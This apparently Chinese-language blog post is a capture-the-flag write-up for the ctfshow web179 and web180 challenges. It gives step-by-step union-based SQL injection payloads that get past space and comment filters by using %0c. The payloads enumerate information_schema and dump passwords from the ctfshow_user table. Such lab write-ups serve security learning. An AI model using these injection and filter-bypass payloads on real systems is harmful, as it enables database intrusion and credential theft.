ctfshow web179,180

本题跟前几道题一样对--+和空格进行过滤,但是对空格的过滤更加严格,/**/和%09已经失效我们尝试使用%0c发现可以绕过

1'%0corder%0cby%0c4%23

可以判断出这个的字段数为3

-1'%0cunion%0cselect%0c1,database(),3%23

-1'%0cunion%0cselect%0c1,table_name,3%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23

-1'%0cunion%0cselect%0c1,'hack',password%0cfrom%0cctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

180题将--+和%23都过滤了我们可以尝试--空格过滤,但是空格也被限制了所以我们尝试使用%0c来绕过

-1'%0cunion%0cselect%0c1,column_name,3%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c

-1'union%0cselect%0c1,'ah',password%0cfrom%0cctfshow_user--%0c

相关推荐
柳鲲鹏1 分钟前
老电脑X99安装WIN11 26H2总结、问题解决办法汇总
笔记
sunoo-2293 小时前
【ARM嵌入式学习笔记第十天】i.MX6ULL eLCDIF控制器驱动RGB LCD全解析(硬件原理+寄存器配置+裸机代码)
arm开发·笔记·学习
听风若依4 小时前
数据在内存中的存储-纸面笔记整理
c语言·笔记
xiaominngtongxue5 小时前
从中职技能节看实训教学的组织逻辑
笔记
杨逢昌工厂6S管理5 小时前
109-杨逢昌车间管理负熵循环:三环体系持续输出负熵的机制解析
经验分享·笔记·职场和发展·学习方法
inferno5 小时前
SVN学习笔记(二)
笔记·学习·svn
海绵宝宝转agent6 小时前
leetCode100算法开源笔记分享
笔记·算法
91刘仁德7 小时前
Linux网络编程从入门到实战:UDP/TCP协议与socket编程全解析
linux·网络·笔记·tcp/ip·udp
@Mike@7 小时前
13-数据库学习笔记(查询执行处理模型)
数据库·笔记·学习
Go Work7 小时前
实体类字段用 @Value 赋了默认值,取出来还是 null?
经验分享·笔记